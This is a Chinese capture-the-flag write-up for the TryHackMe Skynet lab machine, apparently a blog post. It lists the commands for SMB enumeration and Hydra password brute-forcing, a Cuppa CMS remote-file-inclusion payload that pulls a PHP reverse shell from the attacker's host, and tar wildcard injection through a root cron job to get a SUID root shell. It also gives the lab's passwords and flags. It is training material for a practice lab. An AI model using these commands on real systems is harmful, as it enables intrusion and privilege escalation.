通过学习相关知识点:攻破Linux目标机器并完成提权操作。

部署并渗透目标机器

step1

使用Nmap扫描端口

nmap -p- -sC -sV -T4 -v 10.10.164.81

139/445端口开放,可知目标机开启了SMB服务

枚举SMB共享

smbclient -L \\10.10.164.81

获取到一些可能能访问的SMB服务账号:anonymous、milesdyson

使用命令连接SMB服务中的匿名账户并获取所需文件

smbclient  // 10.10.164.81/anonymous

分析attention.txt文本内容:管理员通知员工及时修改密码修改,所以最近可能发生过密码更改行为,根据文本内容中的署名及SMB服务账户名称--管理员账户为milesdyson

我们还得到了一份密码记录,该密码记录中可能包含了目标站点的密码信息

使用gobuster扫描目录(针对目标站点)

gobuster dir -u http://10.10.164.81/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --no-error

访问目标站点的二级目录/squirrelmail(10.10.164.81/squirrelmail)结果会自动跳转至/squirrelmail/src/login.php页面--这是一个邮件系统的登录页面

结合已知信息使用Hydra 爆破上图中的邮件服务器登录页面

hydra-l milesdyson -P log1.txt 10.10.164.81 http-form-post "/squirrelmail/src/redirect.php:login_username=milesdyson&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=Unknown User or password incorrect."

破解得到的结果:milesdyson cyborg007haloterminator

step2

登录邮件服务器并查看邮件信息

访问10.10.164.81/squirrelmail/src/login.php页面进行登录即可

由邮件信息可知,SMB账户milesdyson的新密码为:)s{A&2Z=F^n_E.B`

登录SMB账户

smbclient -U milesdyson //10.10.164.81/milesdyson

查看文本文件内容

获取到的有效信息:二级目录/45kra24zxs28v3yd

step3

针对隐藏二级目录进行目标扫描

gobuster dir -u http://10.10.164.81/45kra24zxs28v3yd/ -w /usr/share/wordlists/</span>dirbuster/directory-list-2.3-medium.txt --no-error

得到CMS后台管理的登录页面:http://10.10.164.81/45kra24zxs28v3yd/administrator/

CMS信息:Cuppa CMS

根据CMS信息查找exp

在https://www.exploit-db.com/上搜索关键字Cuppa以查找Cuppa CMS相关的漏洞exp

step4

构造payload以获取目标shell

继续查看相关exp的利用方法

我们可以构造如下的远程文件包含payload,在浏览器执行即可

http://$IP1/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://$IP2/php-reverse-shell.php 

原理:利用相关CMS的远程文件包含漏洞,让目标页面远程包含--本地攻击机所开启的简易服务器上的反向shell文件,这样我们在浏览器中一旦输入上述payload 就能让目标页面弹一个shell到我们的本地攻击机。

我们首先要在本地机上建立并修改好一个可使用的反向shell文件(主要是修改shell文件内容中的ip信息和端口信息),然后我们再在本地机上开启一个简易的服务器以便目标服务器实现远程包含,我们还需要建立一个Netcat监听器以便接收来自目标服务器的shell。

完成上述操作后,我们在本地机的浏览器中针对目标页面 执行远程包含漏洞的相关payload即可

http://10.10.164.81/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.13.16.58:8000/php-reverse-shell.php

查看user flag

我们已经成功获取到目标shell,所以利用shell界面查看user flag即可

which python #验证目标机有无Python环境
python -c "import pty; pty.spawn('/bin/bash')" #利用Python环境将当前shell切换为一个更稳定的shell

user flag:7ce5c2109a40f958099283600a9ae807

https://img2023.cnblogs.com/blog/2857591/202302/2857591-20230210185222563-211659773.png

step5

进行提权操作

继续使用shell界面,进入backups目录并查看其中的文件内容

由上图可知以下信息:

backups目录下有一个backup.sh文件,其内容和作用是--切换目录至/var/www/html 并将该目录下的所有内容归档为backup.tgz压缩文件,该tgz文件保存在backups目录下;

通过查看/etc/crontab即定时任务可知--刚才描述的backups目录下的backup.sh文件是一个定时任务,该.sh脚本每分钟都会以root身份执行。

在查询 GTFOBins 网站后,我们发现通过tar命令可以利用一个名为–checkpoint的参数,该参数允许在每次归档 X 个文件时(X的默认值为10)显示“进度”消息, –checkpoint还可以与 –checkpoint-action 标志串联使用,–checkpoint-action标志允许在到达检查点(checkpoint)时以二进制或脚本的形式执行某些操作。

结合前述已知信息:由于backups目录下的backup.sh脚本中使用的通配符* 将对 /var/www/html 目录中的所有文件和文件夹执行归档命令,因此我们可以通过在/var/www/html下添加 –checkpoint=1 文件(启用检查点功能)和 –checkpoint-action=exec=xxx 文件(指定要执行的操作,检查点值为1,每归档一个文件都执行指定操作),那么当 tar 处理到以上文件时,相关的文件名将会被有效地视为tar命令的参数--从而执行某些操作。

在/var/www/html目录下创建一个BASH脚本,该脚本的执行结果将创建一个实质为bash副本的 SUID 二进制文件,我们将该脚本命名为newroot.sh:

echo "cp /bin/bash /tmp/nroot && chmod +s /tmp/nroot" > newroot.sh

继续在/var/www/html目录下执行命令创建以下两个文件,这两个文件的实际作用是以文件名作为 tar 命令行中的参数:

touch"/var/www/html/--checkpoint=1"
touch"/var/www/html/--checkpoint-action=exec=sh newroot.sh"

大约一分钟后,cron 计划作业(即backups目录下的backup.sh脚本)将会以root权限自动运行,从而能够成功创建一个SUID文件(/tmp/nroot),我们可以使用 -p 标志执行该SUID文件,这将允许以该文件的所有者身份(root)执行此二进制文件,进而可以根据此二进制文件的内容切换到root shell。

cd/tmp
ls
/tmp/nroot -p
whoami

查看root flag

通过刚才获得的root shell界面查找对应flag即可

THM-Skynet-Writeup的更多相关文章

  1. 2016第七季极客大挑战Writeup

    第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...

  2. ISCC2016 WriteUp

    日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...

  3. 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp

    洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...

  4. 爱春秋之戏说春秋 Writeup

    爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...

  5. skynet的协程

    之前对skynet的印象,主要是来自于我对golang的理解,对gevent开发的经验,以及云风的blog.对于底层的代码,并没有仔细去阅读过.最近在实现业务系统的时候,发现有同事在同一个函数里做了一 ...

  6. Skynet Pomelo Erlang Elixir 的认识

    1.skynet pomelo(node.js) elixir(erlang) 周末研究总结 手游这两年发展来看,感觉对实时性要求越来越高,有同事在研究Elixir开发,google得知这东西是基于e ...

  7. 《安全智库》:48H急速夺旗大战通关writeup(通关策略)

    作者:ByStudent   题目名字 题目分值 地址 MallBuilder2 350 mall.anquanbao.com.cn MallBuilder1 200 mall.anquanbao.c ...

  8. 转:云风skynet服务端框架研究

    转:  http://forthxu.com/blog/skynet.html skynet是云风编写的服务端底层管理框架,底层由C编写,配套lua作为脚本使用,可换python等其他脚本语言.sky ...

  9. skynet启动过程_bootstrap

    这遍摘自skynet 的wiki skynet 由一个或多个进程构成,每个进程被称为一个 skynet 节点.本文描述了 skynet 节点的启动流程. skynet 节点通过运行 skynet 主程 ...

  10. skynet启动过程_1

    skynet的启动时需带个配置文件,这个文件其实是作为lua全局变量用的,见 int main(int argc, char *argv[]) { const char * config_file = ...

随机推荐

  1. C++ placement new学习

    通常创建对象使用new操作,但这样无法指定在具体某一块内存开辟空间创建对象.而如果 可以指定开辟空间的内存位置,我们可以编写内存池高效的复用同一个内存位置,这样可以避免系统频繁申请可用内存 所占用的时 ...

  2. linux各个目录详细说明

    在linux中一切皆文件,每个目录均有自己特定的作用,下面进行详细说明. 目录 说明 / 处于linux系统树形结构的最顶端,它是linux文件系统的入口,所有的目录.文件.设备都在 / 之下 /bi ...

  3. 将外部jar打入本地maven仓库

    1.将jar包放入某不含中文的路径下 ,例如:E:\file\zip4j-1.3.2.jar 2.在命令行输入操作命令 mvn install:install-file -DgroupId=zip4j ...

  4. 卸载vsto插件的方法

    现在发布博客园的博客已经可以直接在word上进行,word上的代码高亮插件也安装起了,不过,因为有源码的原因,我就对插件进行了更改,安装之后需要重新安装,有时候在再次安装得时候会提示已经安装过了,我就 ...

  5. gitlab docker 自动部署报错 /bin/bash: line 118: docker: command not found

    原因找不到docker,我们需要绑一下docker 列出所有gitlab-runner配置文件 find / | grep config.toml [root@izwz99pke7zxkpm7l51t ...

  6. exception EXC_RESOURCE - WAKEUPS 分析(二)

    一.问题: 直播助手在使用ReplayKit2 Extension的过程中,ReplayKit2的Upload进程工作在后台模式,苹果对处于后台的进程进行了内存和CPU资源的限制. 对于内存: 每种E ...

  7. Github Markdown 指定图片在光亮或暗黑模式展示

    Github 根据系统配置不同的主题模式: 如果想要在光亮模式和暗黑模式显示不同的主题的图片,比如以下就是同一个图片在暗黑模式和光亮模式下展示: 解决方案 在markdon 的图片链接后添加#gh-d ...

  8. 高德面试:为什么Map不能插入null?

    在 Java 中,Map 是属于 java.util 包下的一个接口(interface),所以说"为什么 Map 不能插入 null?"这个问题本身问的不严谨.Map 部分类关系 ...

  9. js浮点数类型

    <!DOCTYPE html> <html lang="en"> <head>     <meta charset="UTF-8 ...

  10. 算法学习笔记(10): BSGS算法及其扩展算法

    BSGS算法及其扩展算法 BSGS算法 所谓 Baby Step, Giant Step 算法,也就是暴力算法的优化 用于求出已知 \(a, b, p\), 且 \(p\) 为质数 时 \(a^x \ ...